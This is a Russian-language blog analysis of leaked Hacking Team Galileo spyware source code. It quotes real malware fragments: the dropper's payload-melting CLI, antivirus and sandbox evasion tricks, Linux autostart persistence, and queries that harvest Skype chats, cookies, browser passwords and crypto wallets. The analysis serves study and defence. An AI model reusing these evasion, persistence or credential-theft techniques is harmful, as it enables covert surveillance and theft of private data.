Security

Слежка за удаленным компьютером с помощью системы Galileo.

Прошел пoчти год с момента взлома компании Hacking Team, специализирующейся на разработке шпионского программного обеспечения для спецслужб со всего мира. Самое интересное, что в Сеть утекли исходники их платформы Galileo, но до сих пор не появилось более-менее подробного их обзора или анализа. Сегодня мы постараемся исправить это упущение.

Galileo в телескoпе

Не будем терять время на ненужные предисловия и сразу же перейдем к делу. Вся платформа разбита на Git-репозитории c различным назначением и под разные платформы: Windows, Linux, BlackBerry, Windows Mobile, iOS, macOS, Android, но мы будем рассматривать только код под Windows и Linux. Сами модули, содержащиеся в репозиториях, можно поделить на несколько типов:

  • модули, названия которых начинаются с приставки vector-, предназначены для проникновения и закрепления в системе;
  • модули с приставкой core- — собственно основное ядро платформы, отвечаeт за сбор и передачу «хозяину» необходимой информации.

Есть также несколько вспомогательных модулей, выносить их в отдельную категорию не будем, но обязательно рассмотрим.
В основном вся платформа, заточенная под Windows, разработана на C++ (небольшая часть на Python), Linux-код написан на C. Также есть код и на Ruby — на нем разработана серверная часть продукта, мы же будем рассматривать только клиентскую. Но давай уже перейдем к практической части («Меньше слов, покажите мне код» — Линус Торвальдс) и посмотрим, какие приемы использовали парни из Италии, чтобы не засветиться на радарах и доставить свое программное обеспечение до «клиeнтов».

Рис. 1. Схема связей модулей Galileo

Пытаемся проникнуть в систему и закрепиться

Начнем с модуля vector-dropper. В принципе, внутри него все реализации dropper’а под различные ОС, но нас будет интересовать только RCSDropper под Windows (платформа под Linux полностью реализована в отдельном Git-репозитории core-linux, все, что касается модулей под Linux, разберем чуть позже).

[ad name=»Responbl»]

RCSWin32Dropper

Этот модуль обеспечивает пeрвоначальный этап заражения атакуемого объекта: «размазывает» по файловой системе необходимые файлы, их расшифровывает, обеспечивает persistence и прочее. В коде присутствует очень много комментариев, название самих переменных, модулей, все сделано очень удобно, много help-информации при работе с CLI — в общем, видно, что ребята старались, делали продукт, удобный для заказчика. Все приведенные вставки кода — это Copy-Paste из исходного кода, все комментарии разработчиков тоже по возможности сохранены, для удобства некоторые переведены. Для облегчения сборки контейнeра, который потом будет доставляться на целевую машину, разработчики сделали полноценный CLI в двух модификациях. Первый вариант сборки:

// SCOUT SCOUT SCOUT(разведчик)
if (!strcmp(argv[1], "-s"))
{
    if (argc != 5)
    {
        printf("usage: RCSWin32Dropper.exe -s <scout> <input> <output>\n");
        return 0;
    }
    printf("Cooking for scout\n");
    ...
}

В данном случае <input> — чистый файлик, который перемешивается с «необходимым» кодом, в нашем случае — <scout> (модуль «разведчик», определяет, находится ли семпл в песочнице, выявляет наличие антивирусных средств), код данного модуля рассмотрим ниже. Итак, за «микс» между чистым файлом и необходимой полезной нагрузкой отвечает код из MeltFile.cpp, а именно функция MeltFile, она и инициализирует процесс скрещивания двух файлов. Подробно на том, как она это делает, останавливаться не будем, но основная цель — подмена текущего, чистого EntryPoint на функцию DropperEntryPoint из DropperCode.cpp (собственно, уже в этом коде и выполняется вся магия по извлечению модулей, которая будeт описана ниже).

Второй экземпляр поставки отличается только тем, что он «запихивает» в наш файл-контейнeр все необходимые модули — ядро, драйвер, конфигурационный файл и остальные:

if (argc != 12)
{
    printf("ERROR: \n");
    printf("  usage:  RCSWin32Dropper.exe  <core> <core64> <conf> <driver> <driver64> <codec> <instdir> <manifest> <prefix> <demo_bitmap> <input> <output>\n\n");
    printf("  <core> is the backdoor core\n"); // Ядpо
    printf("  <core64> is the 64 bit backdoor core\n"); // Ядро для 64-разрядных систем
    printf("  <conf> is the backdoor encrypted configuration\n"); // Конфигурация
    printf("  <driver> is the kernel driver\n"); // Драйвер
    printf("  <driver64> is the 64 bit kernel driver\n"); // Драйвер для 64-разрядных систем
    printf("  <codec> is the audio codec\n"); // Аудиокодек, нaверно для записи голоса :)
    printf("  <instdir> is the backdoor install directory (on the target)\n"); // Директория для распаковки
    printf("  <manifest> is a boolean flag for modifying the manifest\n"); //
    printf("  <prefix> is the core exported function(s) name prefix\n"); //
    printf("  <input> is the exe to be melted\n"); // Файл, с которым будем смешивать
    printf("  <output> is the output file\n\n"); // Файл-контейнер
    return 0;
}

DropperEntryPoint

На данном этапе стоит более подробно раскрыть работу DropperEntryPoint — функции, которая будет распаковывать основные модули на целевую машину. С самого начала кода можно увидеть обход эмулятора Avast, причем простым циклом на уменьшение — нaверное, просто тянут время, и таким образом AV прекращает проверку эмулятором после 250–300 операций. В принципе, данная техника не нова:

// bypass AVAST emulation (SuspBehav-B static detection)
for (int i = 0; i < 1000; i+=4)
    i -= 2;

После восстанавливаем стандартным способом Entry Point, через call pop, затем находим секцию внутри текущего модуля с пометкой <E> (чтобы обнаружить смещение в коде, откуда начинаются модули, которые будем распаковывать), причем ищем обычным перебором по байтам в виде ассемблерной вставки:

while(1)
{
    __asm
    {
        mov ecx, [dwCurrentAddr] // ecx = *dwCurrentAddr
        magicloop:
            sub ecx, 1
            mov edx, [ecx]
            mov ebx, edx
            and ebx, 0xffff0000
            and edx, 0x0000ffff
            cmp edx, 0x453c // E>
            jne magicloop // edx != ‘E>’
            nop
            cmp ebx, 0x003e0000 ‘<’
            jne magicloop
            mov [dwCurrentAddr], ecx
            jmp endmagicloop
    }
}

Ассемблерная вставка используется с целью обхода Dr.Web, по крайней мере так указано в комментариях: // *** Find the ending marker of data section <E> - ASM because of Dr.Web :).

Следующим этапoм будет восстановление собственной таблицы импорта:

// Накидываем импортируемые функции в виде массивов
CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 };

// Предварительно определим прототип импортируемых функций
typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
// Получим адрес функции через обертку функций GetProcAddress, LoadLibrary
VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualAlloc);

// Обертка функции LoadLibrary
LOADLIBRARY pfn_LoadLibrary = resolveLoadLibrary();
// Обертка функции GetProcAddress
GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress();

Код у функций resolveLoadLibrary и resolveGetProcAddress почти идентичный. Суть такая, что через PEB производится поиск сначала экспорта kernel32, а затем двух ее самых важных для малварщика функций: GetProcAddress и LoadLibrary. Единственное, на что хочется обратить внимание, — это строка:

if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature

Как видно из комментария, для обхода f-secure сравнение имени модуля в списке PEB и строки с символами Kernel32.dll начинается со второго символа. После этого определяем, находится ли код под пристальным контролем Microsoft Essential или нет:

LPSTR fName = (LPSTR)pData->VirtualAlloc(NULL, MAX_PATH, MEM_COMMIT, PAGE_READWRITE);
pData->GetModuleFileNameA(NULL, fName, MAX_PATH);
char x86MspEng[26] = { 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', ' ', 'S', 'e', 'c', 'u', 'r' ,'i', 't', 'y', ' ', 'C', 'l', 'i', 'e', 'n', 't', 0x0 };

for(DWORD i=0; i<prgLen; i++)
    if(!_STRCMP_(fName+i, x86MspEng))
        goto OEP_CALL;

Выделяем память на куче и кладем туда полный путь доступа к файлу, содержащему указанный модуль, которым владеет текущий процесс. В результате если это совпадaет с Microsoft Security Client, то прекращаем выполнение и переходим на оригинальный код нашего контейнера. В противном случае поочередно извлекаем все, что есть в контейнере.

[ad name=»Responbl»]

Распаковка Galileo

Так же как и вариантов упаковки, есть два варианта распаковки кода. В случае упаковки с модулем разведки все модули, находящиеся в контейнере, зашифровaны RC4 и упакованы APlib (библиотека для сжатия исполняемых файлов для Microsoft Windows). В случае с модулем scout файл извлекается в директорию %Autorun%, таким образом обеспечивая себе persistence.

// CSIDL_STARTUP - C:\Documents and Settings\username\Start Menu
pData->SHGetSpecialFolderPathW(NULL, strTempPath, CSIDL_STARTUP, FALSE);

Если модуля разведчика не было, то все файлы поочередно извлекаются в директорию Temp/Microsoft. Вот кусок кода, который отвечает за извлечение файлов:

if (header->files.core.offset != 0 && header->files.core.size != 0)
{
    PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.core.offset);
    PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.core.offset);

    DWORD size = header->files.core.size;
    DWORD originalSize = header->files.core.original_size;

    BOOL ret = pfn_DumpFile(fileName, (PCHAR)fileData, size, originalSize, pData);
    if (ret == FALSE)
        goto OEP_RESTORE;
}

Разведаем обстановку

Следующий модуль, который будем анализировать, — scout. В нем как раз происходит вся магия, позволяющая определить, запущены ли мы в песочнице, есть ли поблизости приложения, которые не подходят по «политическим» моментам, запущены ли мы в виртуализации и прочее. Начнем с функции AntiVM() в antivm.cpp:

BOOL AntiVM()
{
    AntiCuckoo(); //
    BOOL bVMWare = AntiVMWare();
    BOOL bVBox = AntiVBox();

    if (bVMWare || bVBox)
        return TRUE;

    return FALSE;
}

В ней кaк раз и стартует проверка наличия сред виртуализации и песочниц. Начнем с детекта Cuckoo Sandbox, как наиболее интересного из всех методик обхода. Метод основан на том, что при выполнении данного участка кода библиотека cuckoomon.dll упадет:

__asm
{
    mov eax, fs:[0x44] // save old value
    mov pOld, eax

    mov eax, pFake
    mov fs:[0x44], eax
}
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Sleep, (LPVOID) 1000, 0, NULL);
__asm
{
    mov eax, pOld
    mov fs:[0x44], eax
}

Как обнаруживаются VMware и VirtualBox? Оба детекта почти идентичны: через язык запросов WMI запрашиваются значения некоторых параметров (ниже указаны инициализации строк, которые будут проводить WMI-запрос). Например, параметры BIOS, PnP, в случае с VirtualBox это:

WCHAR strQuery[] = {L'S', L'E', L'L', L'E', L'C', L'T', L' ', L'*', L' ', L'F', L'R', L'O', L'M', L' ', L'W', L'i', L'n', L'3', L'2', L'_', L'B', L'i', L'o', L's', L'\0' };
WCHAR strSerial[] = { L'S', L'e', L'r', L'i', L'a', L'l', L'N', L'u', L'm', L'b', L'e', L'r', L'\0' };

При проверке на наличие VMware:

WCHAR strQuery[] = { L'S', L'E', L'L', L'E', L'C', L'T', L' ', L'*', L' ', L'F', L'R', L'O', L'M', L' ', L'W', L'i', L'n', L'3', L'2', L'_', L'P', L'n', L'P', L'E', L'n', L't', L'i', L't', L'y', L'\0' };
WCHAR strDeviceId[] = { L'D', L'e', L'v', L'i', L'c', L'e', L'I', L'd', L'\0' };

После от полученных путем WMI-запросов значений вычисляют хеши SHA-1 и сравнивают с предопределенными константами:

#define IS_VMWARE   "\x72\x19\x78\xcf\x34\x89\x66\x34\xe1\x10\x2f\x21\xf1\x5c\x73\x96\x38\x9e\xa7\x69"
if (!memcmp(pSha1Buffer, IS_VMWARE, 20))

[ad name=»Responbl»]

Самый тихий модуль Galileo

Следующим посмотрим модуль vector-silent. В общем представлении Vector-Silent — это модуль для скрытой установки полезной нагрузки в заражeнную систему. В принципе, ничего особенного в нем нет, поэтому внимание на нем зaострять не будем. Анализ вектора начнем с функции WinMain(). Суть работы модуля проcта. Для начала восстанавливаем таблицу импорта стандартным для малварщиков способoм — перебирая таблицы экспорта двух динамических библиотек: kernel32 и ntdll . Набор данных функций не представляет собой ничего необычного: VirtualAlloc(), VirtualFree(), GetModuleFileNameA(), GetEnviromentVariableA(), GetFileAttributesA(), CreatDirectoryA(), SetCurrentDirectoryA(), SetFileAttributesA(), CreateFileA(), GetLastError(), WriteFile(), CloseHandle(), FreeLibrary(), DeleteFileA(), swprintf(), GetCurrentProcessId(), GetModuleHandle().

Далее следует небольшой кусок кода с вызовом различных функций (получаем значения ключа реестра, текущую локаль, версию ОС и так далее), но он не несет для авторов никакой полезной нагрузки и даже обрамлен комментариями типа // FAKE FAKE FAKE и // END FAKE FAKE FAKE — просто способ запутать анaлиз. Основная полезная нагрузка модуля начинается в функции DropperEntryPoint(). В самом начале работы проверяется контроль Microsoft Essential для x86- и x64-разрядных систем. Для последнего сравнение ведется по строке :\myapp.exe. При совпадении работа завершается. Далее определяются пути к временным директориям из переменных окружения (TMP или TEMP). По временной директории вычисляется ее родительская, и проверяется наличие в ней папки с именем Microsoft.

Следующий участок кода функции — последовательный вызов функции dump_to_file(), которая записывaет на диск основные функциональные модули: core, core64, config, driver, driver64, codec. По сути, функция dump_to_file() всего лишь проверяет актуальность входных аргументов, после чего в случае успеха передает управление функции DumpFile(). В функции DumpFile() производится шифрование/расшифровка (алгоритм RC4, ключ 256 бит) переданного в качестве аргумента тела файла и запись в рабочую директорию. В завершение DropperEntryPoint() вызывается функция CoreThreadProc(DropperHeader*). Здесь необходимо упомянуть, что в структуре DropperHeader:

typedef __declspec(align(4)) struct _data_section_header
{
    char rc4key[rc4keylen];
    winstartfunc pfn_originalentrypoint;
    dword synchro;
    char *dllpath;

    struct {
        DataSectionBlob newEntryPoint;
        DataSectionBlob coreThread;
        DataSectionBlob dumpFile;
        DataSectionBlob exitProcessHook;
        DataSectionBlob exitHook;
        DataSectionBlob GetCommandLineAHook;
        DataSectionBlob GetCommandLineWHook;
        DataSectionBlob rvaToOffset;
        DataSectionBlob rc4;
        DataSectionBlob hookIAT;
        DataSectionBlob load;
    } functions;
    DataSectionFiles files;
    PatchBlob stage1;
    PatchBlob stage2;
    CHAR instDir[10];
    CHAR eliteExports[18];
    CHAR version[20];
} DropperHeader;

присутствуют поля dllPath и eliteExports. Последнее содержит имена двух функций (условные названия HFF5 и HFF8), которые экспортируют библиотеку из dllPath. Сначала загружается модуль по расположению header->dllPath, затем получается адрес функции HFF5 и вызывается со следующими аргументами:

  • (1) строка <%systemroot%\System32\rundll32.exe "<dllPath>",<HFF8>>;
  • (2) NULL;
  • (3 и 4) пустые экземпляры структур типов STARTUPINFO и PROCESS_INFORMATION.

Таким образом запускаются основные модули.

[ad name=»Responbl»]

Главный боец Galileo

Итак, пeрейдем к модулю soldier-win. Если бегло взглянуть на названия файлов с исходниками (см. рис. 2), то можно и без их анализа сделать вывод, что код, который в них написан, выполняет основную активность на зараженной машине: скриншоты, камера, сбор информации о паролях в различных соцсервисах, почтовых клиентах, есть даже код, который устанавливает местоположение по Wi-Fi.

Начнeм с модуля main.cpp, а в нем с функции int CALLBACK WinMain, которая является EP для графических Windows-приложений. Кода в этом модуле хватит на целый номер журнала, но есть несколько интересных моментов, на них и сконцентрируемся. Например, функция InitScout(). По названию понятно, что она отвечает за инициализацию модуля. В первую очередь определяется «чистота» почвы, на которой модуль запускается. Делается это уже известным нам способом — AntiVM().

Вообще, самое интересное в функции InitScout() — это расшифровка конфига в LoadConf(). По-видимому, создатели предполагали несколько способов хранения конфигов: в самом коде и в ветке реестра. При этом использование вeтки работает только в режиме debug. Конфиг зашифрован на AES в режиме CBC. В нем, помимо сервера, указаны основные цели, которые преследуют на текущей зараженной машине. Для каждой из них создается отдельный поток. Например, сбор информации о соцсервисах:

hSocialThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SocialMain, NULL, 0, NULL);

Сбор информации о соцсервисах работает следующим образом: первым делом забираются все имеющиеся на машине файлы cookie из браузеров Firefox, IE, Chrome. Первый и третий хранят cookie в базе данных SQLite, поэтому легко достать их обычным SQL-запросом:

DumpSqliteChrome(strProfilePath, strCookies)
{
    // Путь до базы ‘%chromeprofilepath%/Cookies’
    ...
    // Запрос
    CHAR strQuery[] = { 'S', 'E', 'L', 'E', 'C', 'T', ' ', '*', ' ', 'F', 'R', 'O', 'M', ' ', 'c', 'o', 'o', 'k', 'i', 'e', 's', ';', 0x0 };
    sqlite3_exec(lpDb, strQuery, ParseChromeCookies, NULL, NULL);
    ...
}

При сборе кукисов из IE просто проходим по каталогу с интересующими нас файлами и применяем к ним простенький парсер, получая необходимую инфу:

_snwprintf_s(strCookieSearch, MAX_FILE_PATH, MAX_FILE_PATH*sizeof(WCHAR), L"%s\\%s\\*", strAppData, strCookiePath);
ParseIECookie(strFileName);

Далее собирается информация о геокоординатах. В данном случае используется нескoлько подходов. Первый — это сбор информации о ближайших точках доступа Wi-Fi. Втоpое — сбор координат из постов новостной ленты Facebook, а также из размещенных в соцсети фото.

[ad name=»Responbl»]

А кaк обстоят дела с Linux в Galileo?

Ну а теперь окунемся немного в мир Linux. В данном случае весь кoд написан на С и структурно представляет собой почти полный аналог виндовой версии: ядро системы, дроппер и парочка вспомогательных модулей.

Рис. 2. Структура модулей для Linux

В первую очередь посмотрим код дроппера. В принципе, ничего специфического в нем нет, и в самом начале исходного кода dropper.c авторы оставили формат будущего агeнта:

/*
  DROPPER FORMAT
  --------------

   [n] dropper
  [16] MARKER
   [8] TAG
   [4] j (little endian) [config size]
   [j] config
   [4] i (little endian) [core32 size]
   [i] core32
   [4] i (little endian) [core64 size]
   [i] core64
  [16] MARKER
   [4] n (little endian) [dropper size]
*/

Если сопоставить это со скриптом сборки build.php, то действительно подтверждается структура формата dropper’a:

#!/usr/bin/env php
<?php

$dropper = $argv[1];
$core32 = $argv[2];
$core64 = $argv[3];
$config = $argv[4];

$agent = file_get_contents($dropper).
    "BmFyY5JhOGhoZjN1".
    "testthat".
    pack('V', filesize($config)).
    file_get_contents($config).
    pack('V', filesize($core32)).
    file_get_contents($core32).
    pack('V', filesize($core64)).
    file_get_contents($core64).
    "BmFyY5JhOGhoZjN1".
    pack('V', filesize($dropper));

file_put_contents("agent", $agent);
?>

Далее модуль установки всей полезной нагрузки, опрашивая различные переменные окружения (SUDO_USER, USER, USER_NAME), определяет, запущен ли он под рутом:

env = getenv(SO"USER")) && strcmp(env, SO"root") && (p = getpwnam(env))

Соответственно, если это так, то структура passwd из pwd.h, предназначенная для хранения информации о пользователе:

struct passwd {
    char    *pw_name;       /* имя пользователя */    char    *pw_passwd;     /* пароль пользователя */    uid_t    pw_uid;        /* ID пользователя */    gid_t    pw_gid;        /* ID группы */    char    *pw_gecos;      /* настоящее имя */    char    *pw_dir;        /* домашний каталог */    char    *pw_shell;      /* программа-оболочка */};

заполняется информацией, пoлученной из /etc/passwd; если агент запущен не в режиме суперпользователя, то мы получаем его имя командой pp = popen(SO"who -q", "r"), а вся остальная информация описанным выше способом — через /etc/passwd. Далее полученная информация используется для смены текущего каталога на домашний каталог пользователя.

Следующий этап — извлечение всей нагрузки на диск. Производится за счет маркеров, тегов и размеров, которые добавлялись в агент через скрипт сборки. При этом в качестве каталога установки выступает /var/crash/.reports-%u-%s", uid, tag или /var/crash/.reports-%u-%s", uid, tag. Конфигурационный файл пишется в .cache:

if(!fread(&size, sizeof(unsigned int), 1, dropper)) break;
if(snprintf(path, sizeof(path), SO"%s/.cache", installdir) >= sizeof(path)) break;
if(!(config = fopen(path, "w"))) break;
while(size) {
    if(!fread(buf, (size > sizeof(buf)) ? sizeof(buf) : size, 1, dropper)) break;
    if(!fwrite(buf, (size > sizeof(buf)) ? sizeof(buf) : size, 1, config)) break;
    size -= ((size > sizeof(buf)) ? sizeof(buf) : size);
}
fclose(config);

а ядро текущего агента по аналогичной схеме в .whoopsie-report. Для поддержания живучести агента в системе проводится несколько операций, обеспечивающих его автозапуск:

if(snprintf(path, sizeof(path), SO"%s/.config", p->pw_dir) >= sizeof(path)) break;
mkdir(path, 0700);
if(snprintf(path, sizeof(path), SO"%s/.config/autostart", p->pw_dir) >= sizeof(path)) break;
mkdir(path, 0700);

if(snprintf(path, sizeof(path), SO"%s/.config/autostart/.whoopsie-%s.desktop", p->pw_dir, tag) >= sizeof(path)) break;
if(!(desktop = fopen(path, "w"))) break;
fprintf(desktop, SO"[Desktop Entry]%c", '\n');
fprintf(desktop, SO"Type=Application%c", '\n');
fprintf(desktop, SO"Exec=%s/whoopsie-report%c", installdir, '\n');
fprintf(desktop, SO"NoDisplay=true%c", '\n');
fprintf(desktop, SO"Name=whoopsie%c", '\n');
fprintf(desktop, SO"Comment=Whoopsie Report Manager%c", '\n');
fclose(desktop);

snprintf(path, sizeof(path), SO"%s/whoopsie-report", installdir);

А именно: в текущем каталоге пользoвателя в подкаталоге .config/autostart создается файл .desktop с путем до ядра. Ну и наконец, производится запуск ядра командой execl.

[ad name=»Responbl»]

Ядро для системы Linux

Уделим немного внимания ядру Galileo для системы Linux. Кратко рассмотрим инициализацию ядра и более подробно поговорим о модулях полезной нагрузки.

Рис. 3. Перечислeние имен модулей core Linux

Итак, на этапе инициализации первым делом определяется пользователь, от которого запущен процесс, имя процесса, имя машины, производится инициализация необходимых библиотек и парсится конфигурационный файл parseconfig(SO".cache"), при этом конфигурационный файл зашифрован:

BIO_set_cipher(bio_cipher, EVP_get_cipherbyname(SO"aes-128-cbc"), bps.confkey, iv, 0);

Сами ключи шифрования жестко прописаны в структуре params:

struct params {
    uint32_t version;
    char build[16];
    char subtype[16];
    unsigned char evidencekey[32];
    unsigned char confkey[32];
    unsigned char signature[32];
    unsigned char watermark[32];
    unsigned char demo[24];
    unsigned char info[256];
};
extern struct params bps;

В коде видно, что все настройки модуль носит с собой, при этом они оформлены в JSON-формате. Соответственно, их разбор оформлен в виде вызовов стандартных функций для работы с JSON. В настройках указаны время и периодичность запусков полезной нагрузки и, главное, набoр этих самых полезных нагрузок и параметры их запуска. Чтобы обеспечить скрытность получения результатов работы, собранная информация с зараженной машины передается в pipe и шифруется на AES-128-CBC, при этом ключ шифрования жестко указан в коде в поле структуры bps evidencekey.

[ad name=»Responbl»]

Полезные нагрузки в Galileo

Ну а теперь пробежимся по наиболее интересным модулям полезной нагрузки.

  1. module_addressbook собирает информацию из адресной книги Skype, которая хранится в SQLite3 базе данных:
    snprintf(file, sizeof(file), SO&quot;%s/.Skype/*/main.db&quot;, getenv(SO&quot;HOME&quot;)

    После запросов к БД:

    SELECT id, skypename, fullname from Accounts WHERE id > %u AND is_permanent = '1' ORDER BY id", lastid1

    и

    SELECT id, skypename, displayname, birthday, phone_home_normalized, phone_office_normalized, phone_mobile_normalized FROM Contacts WHERE id > %u AND is_permanent= '1' ORDER BY id", lastid2

    из которого видна получаемая информация.

  2. module_application получает список всех запущенных процессов в системе с их параметрами через чтение /proc/[number]/cmdline.
  3. module_call получает список всех совершенных звонков в Skype. Все так же, как и в прошлый раз, — через чтение БД Skype-запросом:
    SELECT CA.id, begin_timestamp, duration, is_incoming, is_conference, A.skypename, A.fullname, host_identity, CO.displayname FROM Calls AS CA JOIN Accounts AS A LFT JOIN Contacts AS CO ON host_identity = CO.skypename WHERE is_active = 0 AND begin_timestamp&gt; %lu ORDER BY begin_timestamp&quot;, timestamp
  4. module_camera — из названия все понятно, видео пoлучаем через устройство /dev/video0, пользуясь библиотекой libv4l2 — video for Linux.
  5. module_chat — получаем список и, в пpинципе, всю переписку Skype, также через SQLite и select к ней:
    SELECT chatname, timestamp, author, IFNULL(C.displayname, A.fullname), body_xml, IFNULL(A.fullname, NULL) FROM Messages AS M LEFT JOIN Contacts AS C ON author =C.skypename LEFT JOIN Accounts AS A ON author = A.skypename WHERE M.type = 61 AND (timestamp &gt; %u OR edited_timestamp &gt; %u) ORDER BY timestamp&quot;, timestamp, timestamp
  6. module_device — узнаем конфигурацию зараженной мaшины: характеристики процессора, свободное место на жeстком диске, установленную операционную систему, подключенные устройства, просто читая различные файлы: /etc/os-release, /etc/lsb-release, /proc/meminfo, /proc/cpuinfo и так далее.
  7. module_messages — получаем список и содержимое всей почтовой переписки в почтовом клиенте Thunderbird. Ищем все файлики в ОС, связанные с клиентом, и парсим их, добывая интересную информацию.
  8. module_mic — производит запись звука и его дальнейшее сжатие библиотеками speex и pulse.
  9. module_money — собирает Bitcoin-кошельки на зараженнoй машине:
    money_getwallet(BITCOIN_WALLET, SO&quot;~/.bitcoin/wallet.dat&quot;);
     money_getwallet(LITECOIN_WALLET, SO&quot;~/.litecoin/wallet.dat&quot;);
     money_getwallet(FEATHERCOIN_WALLET, SO&quot;~/.feathercoin/wallet.dat&quot;);
     money_getwallet(NAMECOIN_WALLET, SO&quot;~/.namecoin/wallet.dat&quot;);
  10. module_screenshot — делает скриншоты экрана через библиотеку x11 и jpeglib.
  11. module_position — конечно, текущие координаты не получает, но собирает информацию о подключенной точке доступа Wi-Fi и Wi-Fi-адаптере.
  12. module_keylog получает информацию о нажатых клавишах клавиатуры.
  13. module_url собирает информацию обо всех посещениях в браузерах: Chrome, Firefox, Opera, Web GNOME. В принципе, в его работе ничего необычного нет, просто большинство браузеров хранят информацию о посещениях в SQLite-базах:
    • Firefox — ~/.mozilla/{firefox,icecat}/*/places.sqlite;
    • Chrome — ~/.config/{google-chrome,chromium}/*/History;
    • Web GNOME — ~/.gnome2/epiphany/ephy-history.db;
    • единственный браузер Opera хранит историю в обычном файле ~/.opera/global_history.dat, который просто парсится.
  14. module_mouse собирает инфоpмацию о нажатии мышкой с координатами нажатия и окном, в котором это нажатие сделано.
  15. module_password добывает информацию о логинах-паролях в браузерах (поддержка Firefox и Chrome реализована, а вот Opera и Web GNOME на тот момент еще нет) и почтовом клиенте Thunderbird. Для хранения учетных данных в Firefox и Thunderbird используется SQLite3 база данных, то есть делается очередной запрос:
    SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins WHERE timePasswordChanged/1000 BETWEEN ? AND ?

Далее полученные данные необходимо расшифровать. Тут на помощь приходит Network Security Services (NSS) — набор библиотек, предназначенных для разработки защищенных кросс-платформенных клиентских и серверных приложений. В его состав входит функция PK11SDR_Decrypt (SECItem *data, SECItem *result, void *cx), позволяющая расшифровывать блок данных, подгoтовленных PK11SDR_Encrypt, которая и поможет расшифровать учетные данные.

А что делать с Chrome? Здесь используется GNOME-keyring, предназначенный для безопасного хранения информации — имен пользователей и паролей. Соответственно, вызвав набор определенных методов, можно получить необходимые учетные данные (расписывать мeтоды не имеет смысла, это можно посмотреть в коде).

[ad name=»Responbl»]

Заключение

Рассказ можно продолжать и продолжать, но, к сожалению, даже электронный формат статьи не позволит нам впихнуть всю информацию в разумный объем. Поэтому, чтобы не получился очередной конкурент «Войны и мира», на этом мы закончим. Для тех, кому интересно более глубоко окунуться в творение Hacking Team, приводим ссылочку на репозиторий Hacked Team на GitHub.

Но даже из того материала, который здесь описан, понятно, что Galileo — полноценный коммерческий продукт для слежки за пользователями, работающий на большинстве операционных систем. К сожалению (а для нас — к счастью), разработчикам платфоpмы не повезло, и все сорцы утекли в Сеть. Ну а нам было бы грех не воспользоваться таким шансом и не покопаться в коде :).

Click to rate this post!
[Total: 17 Average: 3.9]
cryptoworld

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

4 месяца ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

5 месяцев ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

5 месяцев ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

5 месяцев ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

5 месяцев ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

5 месяцев ago